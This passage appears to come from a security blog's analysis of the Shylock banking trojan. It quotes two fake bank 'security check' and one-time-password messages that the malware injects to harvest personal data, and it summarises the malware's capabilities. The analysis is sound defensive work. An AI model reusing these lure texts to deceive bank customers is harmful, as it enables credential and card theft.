The injects that collect personal information use tricky social engineering tactics, referring to existing malware as a leverage to build trust to the compromised session:

Attention! Due recent new strains of malicious software such as Zeus and Spy Eye that have been targeting users of US Internet Banking website, we are forced to perform additional security checks on your computer.
We are now checking your system to make sure that your connection is secure. It allows us to ensure that your system is not infected.
Checking your settings frequently, allows you to keep your data intact. Keeping your Anti-Virus programs up to date is strongly recommended.
This process undergoes an additional layer of protection, identifying you as the authorised account user. Interrupting the test may lead to a delay in accessing your account online.
Checking browser settings...0%
Checking log files...
Checking encryption settings...


Another example:

A critical error has occurred. We could not recognize Your internet browser's security settings. This could be because You are using different web browser or different PC.
In order to confirm Your identify, we will send you a text message with one time password.
Below is the contact information we have on record for you that is eligible for the security check. If you have recently changed your contact information it may not be displayed.
Note: For security reasons, we have hidden parts of your contact information below with "xxx"


The injected scripts are relying on a powerful and modern script engine JQuery that allows Shylock to manipulate online banking sessions the way it needs to. The harvested credit card numbers are even queried against the remote attacker's site to undergo a validation. The scripts it injects rely on other scripts, dynamically downloaded from the malicious websites. That allows the attacker to manipulate Shylock logic by updating those scripts, without even touching the command-and-control servers.

Conclusion

What makes Shylock dangerous is that it's a classic 'Blended Threat' by definition: a combination of best-of-breed malware techniques that evolved over time:

  • Disk spreader, Skype spreader

  • Kernel-mode rootkit, Bootkit

  • VNC with Back-connect Proxy server

  • FTP credentials stealer

  • Banking Trojan

Its technology is out there, 'in the wild', all it takes now is to change the inject scripts to start targeting any other bank in the world. As it already happened before with ZeuS, it is now a matter of time before it starts targeting other banks' customers.

No comments:

Post a Comment